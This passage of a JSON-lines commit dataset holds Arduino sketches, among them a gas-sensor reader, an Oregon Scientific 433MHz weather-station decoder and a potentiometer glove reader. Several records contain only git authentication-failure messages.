https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9180f6b7b3d47af7e49159937a33d47867d63a16","subject":"Needing to resolve memory issue","message":"Needing to resolve memory issue\n\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"learning\/NeoPixels\/dice\/dice.ino","new_file":"learning\/NeoPixels\/dice\/dice.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"24d9405938be6a19966afa7502c7fd9a07f4c0d1","subject":"ThingSpeak IoT Weather Station","message":"ThingSpeak IoT Weather Station","repos":"W4KRL\/D1M-WX1-Weather-Station","old_file":"D1M-WX1_IoT\/D1M-WX1_IoT.ino","new_file":"D1M-WX1_IoT\/D1M-WX1_IoT.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/W4KRL\/D1M-WX1-Weather-Station.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6f973f69b91745d07a84a2ea77a40cc93a560b5a","subject":"Create mq2_arduino_to_serial.ino","message":"Create mq2_arduino_to_serial.ino","repos":"pumanzor\/iot-redlibre,pumanzor\/iot-redlibre","old_file":"raspberrypi\/python\/mq2_arduino_to_serial.ino","new_file":"raspberrypi\/python\/mq2_arduino_to_serial.ino","new_contents":"const int gasPin = A0; \/\/GAS sensor output pin to Arduino analog A0 pin\nunsigned long time;\n\nvoid setup()\n{\n\tSerial.begin(9600); \/\/Initialize serial port - 9600 bps\n pinMode(7, OUTPUT);\n}\n\nvoid loop()\n{\n int valorgas = analogRead(gasPin);\n\t\n\tdelay(1000); \/\/ Print value every 1 sec.\n\nif (valorgas > 200 )\n\n{digitalWrite(7, HIGH);}\n\nelse\n{digitalWrite(7, LOW);}\n\n\nif (millis() > (time + 5000)) {\n time = millis();\nSerial.println(valorgas);\n}\nelse {}\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'raspberrypi\/python\/mq2_arduino_to_serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"24e0257f8a0ae0eea406cb95770a37dbcb0741f2","subject":"oops we should configure the motor drivers to the end \u2026","message":"oops we should configure the motor drivers to the end \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC5041.ino","new_file":"ArduinoClient\/TMC5041.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"2124922cf81794435d6de8aaebc6b558ee12a49c","subject":"Create Arduino_OS_WeatherV26.ino","message":"Create Arduino_OS_WeatherV26.ino\n\nArduino Uno (with a 433Mhz Rx) outputs a CSV file with data intercepted from an OS WMR86 Weather Station (Anemometer, Wind Direction, Temperature, Rainfall) plus on board digital Barometer and Humidity sensors","repos":"robwlakes\/ArduinoWeatherOS","old_file":"Arduino_OS_WeatherV26.ino","new_file":"Arduino_OS_WeatherV26.ino","new_contents":"\/*Status: Yet another Oregon Scientific Weather Station 433Mhz Arduino Signal Intercepter\n *MIT Licence\n *Author: Rob Ward April 2014\n *Program Execution Summary-\n *Finds the header bits and synch's to the waveform's 1->0 going edges, which are '1's\n *Sweet spot for timing in this program is 240uS short pulse, 480uS long pulse, or thereabouts???\n *Soaks up rest of header bits and waits for first 0\n *Accumulates incoming data stream into bytes, arranged from MSB to LSB by rotating a mask in a Left Rotate\n *Checks for Sensor ID's, the ID's used here are relative to the previous way the data is collected, so not the same as other authors\n *Using the rotate bit on the fly the two ID bytes are as follows, this program just uses first byte to ID the sensor\n * Oregon-THGN800 0xAF \tOutside Temp-Hygro AF 82 ?? 4 ?? 1 (Sensor nybble 1,2or3) 10byte packet (9bytes used)\n * Oregon-PCR800 0xA2 \tRain Gauge A2 91 ?? 4 ?? 0 11byte packet (11bytes used)\n * Oregon-WGR800 0xA1 \tAnemometer A1 98 ?? 4 ?? 0 10byte packet (10bytes used)\n *Rolling code 7bits is present to differentiate between alternative sensors, high bit set to 1 for 64 cycles means sensor is new.\n NB Rolling code ignored to ID the sensor as there are no other Oregon Scientifics around me and this avoids problems on sensor resets\n *Calculate the 8bit check sum of nybbles for the sensor and if data passes the test...continue (2nybbles)\n *Decode the nybbles (if bites are bytes, nybbles are nybbles :-) and calculate the parameters for each sensor\n *On start up wait for a valid reading from each sensor and dump the calculations to the serial, round off to decimal places, every minute.\n \n Why not use interrrupts and count durations? Manchester encoding came from the time of slow chips, noisey environments and saggy waveforms.\n The beauty of Manchester encoding is that it can be sampled so the 0V logic transitions are the most important and at least the logic \n state in the middle of the timing periods is most likely to be valid. It also self synchronises throughout the packet and \n automatically detects timeouts. This is an old, classic Manchester decoding decoding strategy, but quite robust never the less.\n Plus the Uno is only doing this task so no problem with it being in the foreground and chewing up most of the CPU cycles there.\n \n To do:\n *find the battery indicators if they exist. (7) suggests it is (my) upper 4 bits of byte[3]. How to fake old batteries??\n I put a 100ohm resistor across the terminals of the anemometer (in the springs) and chose some ordinary but OK batteries.\n I clipped it up and ran it for about 3 days. After the first 24hr anemometer started to get get shaky and dropping readings\n However the byte[3]==4 all the time and did not change one bit. I could not spot what bits if any were changing.\n I did the experiment at my son's house away from my system or it would have corrupted the \"official anemometer\" readings.\n A volt meter showed the voltage was dropping as expected but no clue discovered....\n \n Reference Material:\n Thanks to these authors, they all helped in some way, especially the last one Brian!!!!\n http:\/\/wmrx00.sourceforge.net\/Arduino\/OregonScientific-RF-Protocols.pdf (1)\n http:\/\/jeelabs.net\/projects\/cafe\/wiki\/Decoding_the_Oregon_Scientific_V2_protocol (2)\n https:\/\/github.com\/phardy\/WeatherStation (3)\n http:\/\/lucsmall.com\/2012\/04\/27\/weather-station-hacking-part-1\/ (4)\n http:\/\/lucsmall.com\/2012\/04\/29\/weather-station-hacking-part-2\/ (5)\n http:\/\/lucsmall.com\/2012\/04\/29\/weather-station-hacking-part-2\/ (6)\n http:\/\/www.mattlary.com\/2012\/06\/23\/weather-station-project\/(7)\n https:\/\/github.com\/lucsmall\/WH2-Weather-Sensor-Library-for-Arduino (8)\n http:\/\/www.lostbyte.com\/Arduino-OSV3\/ (9) brian@lostbyte.com\n \n Most of all thanks to Oregon Scientific, who have produced an affordable, high quality product. I can now have my LCD Home Base in the\n kitchen to enjoy, with the Arduino in the garage also capturing data for WWW Weather pages. Lovely!!!! http:\/\/www.oregonscientific.com\n Very Highly recommended equipment. Rob Ward\n *\/\n#include <Wire.h>\n#include \"DHT.h\"\n#include \"Adafruit_BMP085.h\"\n\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n#define DHTPIN 2 \/\/ what pin we're connected to\n\nAdafruit_BMP085 bmp;\nDHT dht(DHTPIN, DHTTYPE);\n\n\/\/ Read data from 433MHz receiver on digital pin 8\n#define RxPin 8 \/\/Just an input\n#define ledPin 13 \/\/Human feedback\n#define sDelay 230 \/\/One Quarter Manchester Bit duration\n#define lDelay 460 \/\/One Half Manchester Bit duration\nbyte headerHits=0; \/\/How many ones detected as a header bit\nboolean header = false; \/\/State of header detection\nboolean logic = false; \/\/State of the Manchester decoding\nbyte signal = 0; \/\/state of RF\nboolean test230 = false;\nboolean test460 = false;\nint maxBytes = 11; \/\/sets the limits of how many data bytes will be required\nint nosBytes = 0; \/\/counter for the data bytes required\nboolean firstZero = false; \/\/flags when the first '0' is found.\nbyte dataByte = 0; \/\/accumulates the bits of the signal\nbyte dataMask = 16; \/\/rotates left one bit for each Manchester bit received, so allows nybbles to be reversed on the fly\nbyte nosBits = 0; \/\/counts the shifted bits in the dataByte\nbyte manchester[12]; \/\/storage array for the data accumulated via manchester format\nbyte battery = 0; \/\/ Indicator byte, merge battery details into this number\nbyte quadrant = 0; \/\/used to look up 16 positions around the compass rose\ndouble avWindspeed = 0.0;\ndouble gustWindspeed = 0.0; \/\/now used for general anemometer readings rather than avWinspeed\nfloat rainTotal = 0.0;\nfloat rainRate = 0.0;\ndouble temperature = 0.0;\nint humidity = 0;\ndouble intTemp;\ndouble intHumi;\ndouble intPres;\nint scan=0; \/\/On start up lower three bits used to show data from all sensors has been received before pooling and sending out data\nbyte activity=0;\/\/6 Bits, Flags whether good or bad checksum for a given sensor received in last minute \nint seconds;\nconst char windDir[16][4] = { \n \"N \", \"NNE\", \"NE \", \"ENE\", \"E \", \"ESE\", \"SE \", \"SSE\", \"S \", \"SSW\", \"SW \", \"WSW\", \"W \", \"WNW\", \"NW \", \"NNW\"};\n\nvoid setup(){\n Serial.begin(115200);\n \/\/Serial.println(\"Robs V3.0 WMR86 Oregon Decoder\");\n \/\/Serial.print(\"Available Memory \");\n \/\/Serial.println(availableMemory());\n pinMode(ledPin, OUTPUT);\n pinMode(RxPin, INPUT);\n digitalWrite(ledPin, HIGH);\n delay(100);\/\/heart beat\n digitalWrite(ledPin, LOW);\n headerHits=0;\n\n \/\/Tutorial on using the BMP05 Press\/Temp transducer https:\/\/www.sparkfun.com\/tutorials\/253\n bmp.begin(); \/\/start the barometer and temp packages\n\n \/\/ Initialize Timer1 for a 1 second interrupt\n \/\/ Thanks to http:\/\/www.engblaze.com\/ for this section, see their Interrupt Tutorial\n cli(); \/\/ disable global interrupts\n TCCR1A = 0; \/\/ set entire TCCR1A register to 0\n TCCR1B = 0; \/\/ same for TCCR1B\n \/\/ set compare match register to desired timer count:\n OCR1A = 15624;\n \/\/ turn on CTC mode:\n TCCR1B |= (1 << WGM12);\n \/\/ Set CS10 and CS12 bits for 1024 prescaler:\n TCCR1B |= (1 << CS10);\n TCCR1B |= (1 << CS12);\n \/\/ enable timer compare interrupt:\n TIMSK1 |= (1 << OCIE1A);\n \/\/ enable global interrupts:\n sei();\n}\n\n\/\/Routine Driven by Interrupt, trap 1 second interrupts, and output CSV every minute\nISR(TIMER1_COMPA_vect){\n seconds++;\n if (seconds == 60){\/\/make 60 for each output\n seconds = 0;\n usbData();\/\/comment this out to temporarily disable data every minute for debug\n activity=0;\/\/just a number to check if all three Tx stations have been seen.\n }\n} \/\/end of interrupt routine\n\nvoid loop(){\n \/\/wait here for a header!!!\n \/\/ So far this appears as 'inverted' Manchester 1>0==1, 0>1==0 ??? (G. E. Thomas in 1949) http:\/\/en.wikipedia.org\/wiki\/Manchester_code\n while (header == false){\n while (digitalRead(RxPin)==1) { \/\/Stay in loop while logic =1\n \/\/loop while the RxPin==1, first half of bit pattern, just before data transition, 1 to 0\n }\/\/exits when signal == 0, (1->0 falling edge found, transition to value 0) middle of bit pattern, ie the data edge\n delayMicroseconds(sDelay); \/\/Short wait for a 1\/4 of the \"1\" pattern\n if (digitalRead(RxPin) == 0){ \/\/Check signal is still steady at 0 ( !0 = error detection)\n delayMicroseconds(lDelay); \/\/ long wait for next 1\/2 of bit pattern, \n \/\/ ie now at 3\/4 way through, looks like an ok bit \"1\" now keep track of how many in row we have detected\n if (digitalRead(RxPin) == 1){ \/\/ Check Rx polarity has now swapped, good!\n headerHits ++; \/\/ Highly likely a \"1\" waveform, so count it in\n \/\/Serial.print(headerHits);\n \/\/Serial.print(\" \");\n if (headerHits == 20){ \/\/if we can find 20 in a row we will assume it is a header\n header = true; \/\/so we can exit this part, collect rest of header and begin data processing below\n headerHits=0; \/\/reset, so ready to search for another header when next required, or should an error occur in this packet\n \/\/Serial.println(\"\");\n \/\/Serial.print(\"H\"); \/\/uncomment to debug header detection\n }\n }\n else {\n headerHits=0; \/\/ Has not followed the \"1\" wave pattern, probably badly formed, noisy waveform, so start again\n header=false; \/\/ make sure we look for another header\n }\n }\n else {\n headerHits=0; \/\/ Has not followed wave pattern, probably just noise, so start again\n header=false; \/\/ make sure we look for another header\n }\n }\n\n \/\/The program is now synch'ed to the '1' waveform and detecting the 1->0 \"data\" transitions in the bit waveform\n \/\/The data byte boundaries indicate the Synch '0' is considered a part of the data, so byte boundary begins at that '0'\n logic=1; \/\/ look for rest of header 1's, these must be soaked up intil first 0 arrives to denote start of data\n signal=0; \/\/RF Signal is at 0 after 1's 1->0 transition, inverted Manchester (see Wiki, it is a matter of opinion)\n firstZero=false; \/\/The first zero is not immediately found, but is flagged when found\n\n while (header == true){\n \/\/now get last of the header, and then store the data after trigger bit 0 arrives, and data train timing remains valid \n while (digitalRead(RxPin)!=signal){ \/\/halt here while signal matches inverse of logic, if prev=1 wait for sig=0\n }\/\/exits when signal==logic\n delayMicroseconds(sDelay); \/\/wait for first 1\/4 of a bit pulse\n test230 = digitalRead(RxPin);\/\/snapshot of the input\n if ((test230 == signal)&&(nosBytes < maxBytes)){ \/\/after a wait the signal level is the same, so all good, continue!\n delayMicroseconds(lDelay); \/\/wait for second 1\/2 of a bit pulse\n test460=digitalRead(RxPin);\/\/snapshot of the input\n if (test230==test460){ \/\/ finds a long pulse, so the logic to look for will change, so flip the logic value \n \/\/Assuming the manchester encoding, a long pulse means data flips, otherwise data stays the same\n logic = logic^1;\n signal = signal^1;\n \/\/Serial.print(logic,BIN); \/\/debug data stream in binary\n if (!firstZero){ \/\/if this is the first 0->1 data transition this is the sync 0\n digitalWrite(ledPin,1); \/\/data processing begins, first though chew up remaining header\n firstZero = true; \/\/flag that legit data has begun\n dataByte = B00000000; \/\/ set the byte as 1's (just reflects the header bit that have preceded the trigger bit=0)\n dataMask = B00010000; \/\/ set the byte as 1's (just reflects the header bit that have preceded the trigger bit=0)\n nosBits = 0; \/\/ preset bit counter so we have 7 bits counted already\n \/\/Serial.print(\"!\"); \/\/debug detection of first zero\n }\n }\n \/\/data stream has been detected begin packing bits into bytes\n if (firstZero){\n if (logic){\n dataByte = dataByte | dataMask; \/\/OR the data bit into the dataByte\n }\n dataMask = dataMask << 1;\/\/rotate the data bit\n if (dataMask==0){\n dataMask=1;\/\/make it roll around, is there a cleaner way than this? eg dataMask *=2?\n }\n nosBits++;\n if (nosBits == 8){ \/\/one byte created, so move onto the next one\n manchester[nosBytes] = dataByte; \/\/store this byte\n nosBits = 0; \/\/found 8, rezero and get another 8\n dataByte = 0; \/\/hold the bits in this one\n dataMask = 16; \/\/mask to do reversed nybbles on the fly\n nosBytes++; \/\/keep a track of how many bytes we have made\n }\n }\n } \n else {\n \/\/non valid data found, or maxBytes equalled by nosBytes, reset all pointers and exit the while loop\n headerHits = 0; \/\/ make sure header search begins again\n header = false; \/\/ make sure we look for another header\n firstZero = false; \/\/ make sure we look for another 0->1 transition before processing incoming stream\n nosBytes = 0; \/\/ either way, start again at beginning of the bank\n }\n\n \/\/Temp has 10 bytes in packet, anemometer and rainfall have 11 bytes in packet\n if (manchester[0]==0xa2){\n maxBytes=11; \/\/if looking for Temp then only collect 10 bytes\n }\n else{\n maxBytes=10; \/\/if Anemometer or Rainfall then we must look for 11 bytes to include 2 byte Checksum at the end\n }\n \/\/look for the required number of bytes and when reached process and check the data packet\n if (nosBytes == maxBytes){ \n if (manchester[0]==0xaf){ \/\/detected the Thermometer and Hygrometer\n \/\/binBank();\n if(ValidCS(16)){\n \/\/hexBank();\n scan = scan | 1;\n activity = activity | 1; \/\/ indicate good CS detected\n thermom();\n \/\/dumpThermom();\n }\n else{\n activity = activity | 16; \/\/ indicate bad CS detected\n }\n }\n if (manchester[0]==0xa1){ \/\/detected the Anemometer and Wind Direction\n if(ValidCS(18)){\n \/\/binBank();\n scan = scan | 2;\n activity = activity | 2; \/\/ indicate good CS detected\n anemom();\n \/\/dumpAnemom();\n }\n else{\n activity = activity | 32; \/\/ indicate bad CS detected\n }\n }\n if (manchester[0]==0xa2){ \/\/detected the Rain Gauge\n if(ValidCS(19)){\n \/\/hexBank();\n scan = scan | 4;\n activity = activity | 4; \/\/ indicate good CS detected\n rain();\n \/\/dumpRain();\n }\n else{\n activity = activity | 64; \/\/ indicate bad CS detected\n }\n }\n headerHits = 0; \/\/wind header bit hits back to 0\n header = false; \/\/Look for a new header\n nosBytes =0; \/\/reset byte pointer into bank\n intHumi=(double)dht.readHumidity(); \/\/DHT22 readings %Humidity\n intTemp=(double)bmp.readTemperature(); \/\/internal temperature\n intPres=(double)bmp.readPressure()\/100.0; \/\/Pa reduced to mBar\n }\n }\n digitalWrite(ledPin,0); \/\/data processing ends, look for another header\n} \/\/ End of main loop\n\n\/\/ Formating routine for interface to host computer\n\nvoid usbData(){\n \/\/ Stn Id, Packet Type, Wind Quadrant, Wind Speed, Rain Tips, Ext temp, Int Temp, Int Pressure, Int Humidity\n if (scan == 7){ \/\/all readings now valid\n Serial.print(activity); \/\/ 03210321 Hi-Nybble flags failed Sensor Checksums, Lo-Nybble flags good failed Sensor Checksums\n Serial.print(\",\");\n Serial.print(battery); \/\/ 00332211 Indicator battery level for sensors 1,2,3 \n \/\/Not sure what these bits mean, pretty sure so called battery bits are wrong, however an Indicator byte idea is an OK Idea\n \/\/When and if the bits that indicate battery levels are found thye can go in here :-)\n \/\/I have a suspicion they may use bad checksums or some such to detect when the Tx is getting low. However that idea has a\n \/\/weakness as any other Tx on 433 can scramble a packet, and each WMR86 has three Tx's all transmitting at different intervals\n \/\/and will inevitably cause corrupted\/bad packets when they overlap. Hence I have been monitoring checksums as well.\n Serial.print(\",\");\n Serial.print(quadrant); \/\/0-15 in 22.5 degrees steps clockwise\n Serial.print(\",\");\n Serial.print(gustWindspeed,1); \/\/Gust windspeed km\/hr, not average windspeed\n Serial.print(\",\");\n Serial.print(rainTotal,1); \/\/yet to be checked for calibration mm\n Serial.print(\",\");\n Serial.print(temperature,2); \/\/ OS Temperature Centigrade\n Serial.print(\",\");\n Serial.print(intTemp,2); \/\/BMP085 temperature (used for compensation reading) Centigrade\n Serial.print(\",\");\n Serial.print(intPres,2); \/\/BMP085 pressure reading milli-bars\n Serial.print(\",\");\n Serial.print(intHumi); \/\/Digital DHT22 seems better than the OS in Temp\/Hum sensor % relative\n Serial.println();\n }\n}\n\n\/\/Support Routines for Nybbles and CheckSum\n\n\/\/ http:\/\/www.lostbyte.com\/Arduino-OSV3\/ (9) brian@lostbyte.com\n\/\/ Directly lifted, then modified from Brian's work, due to nybbles bits now in correct order MSNybble->LSNybble\n\/\/ CS = the sum of nybbles, 1 to (CSpos-1), compared to CSpos byte (LSNybble) and CSpos+1 byte (MSNybble);\n\/\/ This sums the nybbles in the packet and creates a 1 byte number, and then compared to the two nybbles beginning at CSpos\n\/\/ Note that Temp and anemometer uses only 10 bytes but rainfall use 11 bytes per packet. (Rainfall CS spans a byte boundary)\nbool ValidCS(int CSPos){\n bool ok = false;\n byte cs = 0;\n for (int x=1; x<CSPos; x++){\n byte test=nyb(x);\n cs +=test;\n }\n byte check1 = nyb(CSPos);\n byte check2 = nyb(CSPos+1);\n byte check = (check2<<4)+check1;\n \/*\n Serial.print(check1,HEX); \/\/dump out the LSNybble Checksum\n Serial.print(\"(LSB), \");\n Serial.print(check2,HEX); \/\/dump out the MSNybble Checksum\n Serial.print(\"(MSB), \");\n Serial.print(check,HEX); \/\/dump out the Rx'ed predicted byte Checksum\n Serial.print(\"(combined), calculated = \");\n Serial.print(cs,HEX); \/\/dump out the calculated byte Checksum\n Serial.print(\" \"); \/\/Space it out for the next printout \n *\/\n if (cs == check){\n ok = true;\n }\n return ok;\n}\n\/\/ Get a nybble from manchester bytes, short name so equations elsewhere are neater :-)\nbyte nyb(int nybble){\n int bite = nybble \/ 2; \/\/DIV 2, find the byte\n int nybb = nybble % 2; \/\/MOD 2 0=MSB 1=LSB\n byte b = manchester[bite];\n if (nybb == 0){\n b = (byte)((byte)(b) >> 4);\n }\n else{\n b = (byte)((byte)(b) & (byte)(0xf));\n } \n return b;\n}\n\n\/\/Calculation Routines\n\n\/* PCR800 Rain Gauge Sample Data:\n \/\/ 0 1 2 3 4 5 6 7 8 9 A\n \/\/ A2 91 40 50 93 39 33 31 10 08 02\n \/\/ 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 \n \/\/ 10100010 10010001 01000000 01010000 10010011 00111001 00110011 00110001 00010000 00001000 00000010\n \/\/ -------- ------- bbbb--- RRRRRRRR 88889999 AAAABBBB CCCCDDDD EEEEFFFF 00001111 2222CCCC cccc\n \n \/\/ byte(0)_byte(1) = Sensor ID?????\n \/\/ bbbb = Battery indicator??? (7) My investigations on the anemometer would disagree here. \n \/\/ After exhaustive low battery tests these bbbb bits did not change\n \/\/ RRRRRRRR = Rolling Code Byte\n \/\/ 222211110000.FFFFEEEEDDDD = Total Rain Fall (inches)\n \/\/ CCCCBBBB.AAAA99998888 = Current Rain Rate (inches per hour)\n \/\/ ccccCCCC = 1 byte Checksum cf. sum of nybbles\n \/\/ Message length is 20 nybbles so working in inches\n Three tips caused the following\n 1 tip=0.04 inches or 1.1mm (observed off the LCD)\n My experiment\n Personally I don't like this value I think mult by 25 (it was 42, then 31) and divide by 1000 should be closer to return mm directly.\n 0.127mm per tip??? It looks close the above. Again can't vouch 100% for this, any rigorous assistance would be appreciated.\n *\/\nvoid rain(){\n rainTotal = float(((nyb(18)*100000)+(nyb(17)*10000)+(nyb(16)*1000)+(nyb(15)*100)+(nyb(14)*10)+nyb(13))*25\/1000.0);\n \/\/Serial.println((nyb(18)*100000)+(nyb(17)*10000)+(nyb(16)*1000)+(nyb(15)*100)+(nyb(14)*10)+nyb(13),DEC);\n rainRate = float(((nyb(8)*10000)+(nyb(9)*1000)+(nyb(10)*100)+(nyb(11)*10)+nyb(12))*31.0\/1000.0);\n \/\/Serial.println((nyb(8)*10000)+(nyb(9)*1000)+(nyb(10)*100)+(nyb(11)*10)+nyb(12),DEC);\n battery = (battery & B00111100)| (nyb(4)>>1);\/\/lowest 2 bits in Indicator byte is for Rain bits (unproven conc?!?!)\n}\nvoid dumpRain(){\n Serial.print(\"Total Rain \");\n Serial.print(rainTotal);\n Serial.print(\" mm, \");\n Serial.print(\"Rain Rate \");\n Serial.print(rainRate);\n Serial.println(\" mm\/hr \");\n}\n\n\/\/ WGR800 Wind speed sensor\n\/\/ Sample Data:\n\/\/ 0 1 2 3 4 5 6 7 8 9\n\/\/ A1 98 40 8E 00 0C 70 04 00 34\n\/\/ 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3\n\/\/ 10100001 10011000 01000000 10001110 00000000 00001100 01110000 00000100 00000000 00110100\n\/\/ -------- -------- bbbb---- NRRRRRRR xxxx9999 xxxxxxxx CCCCDDDD xxxxFFFF 0000---- CCCCcccc\n\/\/ Av Speed 0.4000000000m\/s Gusts 0.7000000000m\/s Direction: N \n\n\/\/ byte(0)_byte(1) = Sensor ID?????\n\/\/ bbbb = Battery indicator??? (7) My investigations would disagree here. After exhaustive low battery tests these bits did not change\n\/\/ NRRRRRRR = Rolling Code Byte, the N bit is set to 1 for 64 cycles to indicate it is reset or new to the Rx box\n\/\/ 9999 = Direction\n\/\/ DDDD.CCCC = Gust Speed (m per sec)\n\/\/ 0000.FFFF = Avg Speed(m per sec)\n\/\/ multiply by 3600\/1000 for km\/hr\n\/\/ ccccCCCC = 1 byte checksum cf. sum of nybbles\n\/\/ packet length is 20 nybbles\n\nvoid anemom(){\n \/\/D A1 98 40 8E 08 0C 60 04 00 A4\n avWindspeed = ((nyb(16)*10)+ nyb(15))*3.6\/10;\n gustWindspeed =((nyb(13)*10)+nyb(12))*3.6\/10;\n quadrant = nyb(9) & 0xF;\n battery = (battery & B00110011)|(nyb(4)<<1);\/\/Indicator middle 2 bits (bits 2&3) in byte is Anemometer (unproven data?!?!)\n}\nvoid dumpAnemom(){\n Serial.print(\"Av Speed \");\n Serial.print(avWindspeed);\n Serial.print(\" km\/hr, Gusts \");\n Serial.print(gustWindspeed);\n Serial.print(\" km\/hr, Direction: \");\n Serial.print(quadrant);\n Serial.print(\" -> \");\n Serial.println(windDir[quadrant]);\n}\n\n\/\/ THGN800 Temperature and Humidity Sensor\n\/\/ 0 1 2 3 4 5 6 7 8 9 Bytes\n\/\/ 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 nybbles\n\/\/ 01011111 00010100 01000001 01000000 10001100 10000000 00001100 10100000 10110100 01111001 Bits\n\/\/ -------- -------- bbbbcccc RRRRRRRR 88889999 AAAABBBB SSSSDDDD EEEE---- CCCCcccc -------- Explanation\n\/\/ byte(0)_byte(1) = Sensor ID?????\n\/\/ bbbb = Battery indicator??? (7), My investigations on the anemometer would disagree here. After exhaustive low battery tests these bits did not change\n\/\/ RRRRRRRR = Rolling code byte\n\/\/ nybble(5) is channel selector c (Switch on the sensor to allocate it a number)\n\/\/ BBBBAAAA.99998888 Temperature in BCD\n\/\/ SSSS sign for negative (- is !=0)\n\/\/ EEEEDDDD Humidity in BCD\n\/\/ ccccCCCC 1 byte checksum cf. sum of nybbles\n\/\/ Packet length is 18 nybbles and indeterminate after that\n\/\/ H 00 01 02 03 04 05 06 07 08 09 Byte Sequence\n\/\/ D AF 82 41 CB 89 42 00 48 85 55 Real example\n\/\/ Temperature 24.9799995422 degC Humidity 40.0000000000 % rel\nvoid thermom(){\n temperature = (double)((nyb(11)*100)+(nyb(10)*10)+nyb(9))\/10; \/\/accuracy to 0.01 degree seems unlikely\n if(nyb(12)==1){\/\/ Trigger a negative temperature\n temperature = -1.0*temperature;\n }\n humidity = (nyb(14)*10)+nyb(13);\n battery = (battery & B00001111)|(nyb(4)<<3);\/\/Indicator 2 bits (bits 4&5) in byte is Temperature (unproven data?!?!)\n}\nvoid dumpThermom(){\n Serial.print(\"Temperature \");\n Serial.print(temperature);\n Serial.print(\" degC, Humidity \");\n Serial.print(humidity);\n Serial.println(\"% Rel\");\n}\n\n\/\/ Handy Debugging Routines\n\nvoid binBank(){\n \/\/Print the fully aligned binary data in manchester[] array\n Serial.println(\"D 00 00001111 01 22223333 02 44445555 03 66667777 04 88889999 05 AAAABBBB 06 CCCCDDDD 07 EEEEFFFF 08 00001111 90 22223333\"); \n Serial.print(\"D \");\n for( int i=0; i < maxBytes; i++){ \n byte mask = B10000000;\n if (manchester[i]<16){\n Serial.print(\"0\"); \/\/pad single digit hex\n }\n Serial.print(manchester[i],HEX);\n Serial.print(\" \");\n for (int k=0; k<8; k++){\n if (manchester[i] & mask){\n Serial.print(\"1\");\n }\n else{\n Serial.print(\"0\");\n }\n mask = mask >> 1;\n }\n Serial.print(\" \");\n }\n Serial.println();\n}\n\nvoid hexBank(){\n \/\/Print the fully aligned binary data, enable the headers if desired\n \/\/Serial.println(\"H 00 01 02 03 04 05 06 07 08 09\");\n \/\/Serial.println(\" 00 00 00 00 00 00 00 00 11 11\");\n \/\/Serial.println(\"B 10 32 54 76 98 BA DC FE 10 32\");\n Serial.print(\"D \");\n for( int i=0; i < maxBytes; i++){ \n if (manchester[i]<16){\n Serial.print(\"0\"); \/\/pad single digit hex\n }\n Serial.print(manchester[i],HEX);\n Serial.print(\" \");\n }\n Serial.println();\n}\n\nint availableMemory() {\n int size = 2048; \/\/Arduino Uno, just keep an eye on this\n byte *buf;\n while ((buf = (byte *) malloc(--size)) == NULL);\n free(buf);\n return size;\n}\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_OS_WeatherV26.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3848703b73fb6d9efd82d629f51f5f5bfa0becf2","subject":"16:41\/30\/08","message":"16:41\/30\/08\n","repos":"Dieselmarble\/2017urop,Dieselmarble\/2017urop","old_file":"CyberGlove\/Cyberglove.ino","new_file":"CyberGlove\/Cyberglove.ino","new_contents":"int pin_1 = A0; \/\/ potentiometer wiper\nint pin_2 = A1;\nint pin_3 = A2;\nint val_1 = 0;\nint val_2 = 0;\nint val_3 = 0;\nchar userInput;\nvoid setup()\n\n{\n\n Serial.begin(9600); \/\/ setup serial\n\n}\n\n\nvoid loop(){\n if (Serial.available() > 0){\n userInput = Serial.read();\n\t if (userInput == 'y'){\t\n val_1 = analogRead(pin_1); \/\/ read the input pin\n val_2 = analogRead(pin_2);\n val_3 = analogRead(pin_3); \n int val[]={val_1,val_2,val_3};\n for (int i=0;i<=2;i++){\n \t Serial.println(val[i]); \n\t }\n } \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CyberGlove\/Cyberglove.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"7b5ff0dc0bc6b457263c4ad7c05c414184819789","subject":"Remove .ino from dropbo, make sure current local directory is the sketch folder so no unecessary nested folders created. Initial push of project","message":"Remove .ino from dropbo, make sure current local directory is the sketch folder so no unecessary nested folders created. Initial push of project\n","repos":"karinassuni\/dremelfuge","old_file":"Dremelfuge.ino","new_file":"Dremelfuge.ino","new_contents":"class Button\n{\n protected:\n const uint8_t pin;\n const bool isToggleButton;\n uint16_t debounceDelay;\n\n bool defaultState; \/\/ not const because the 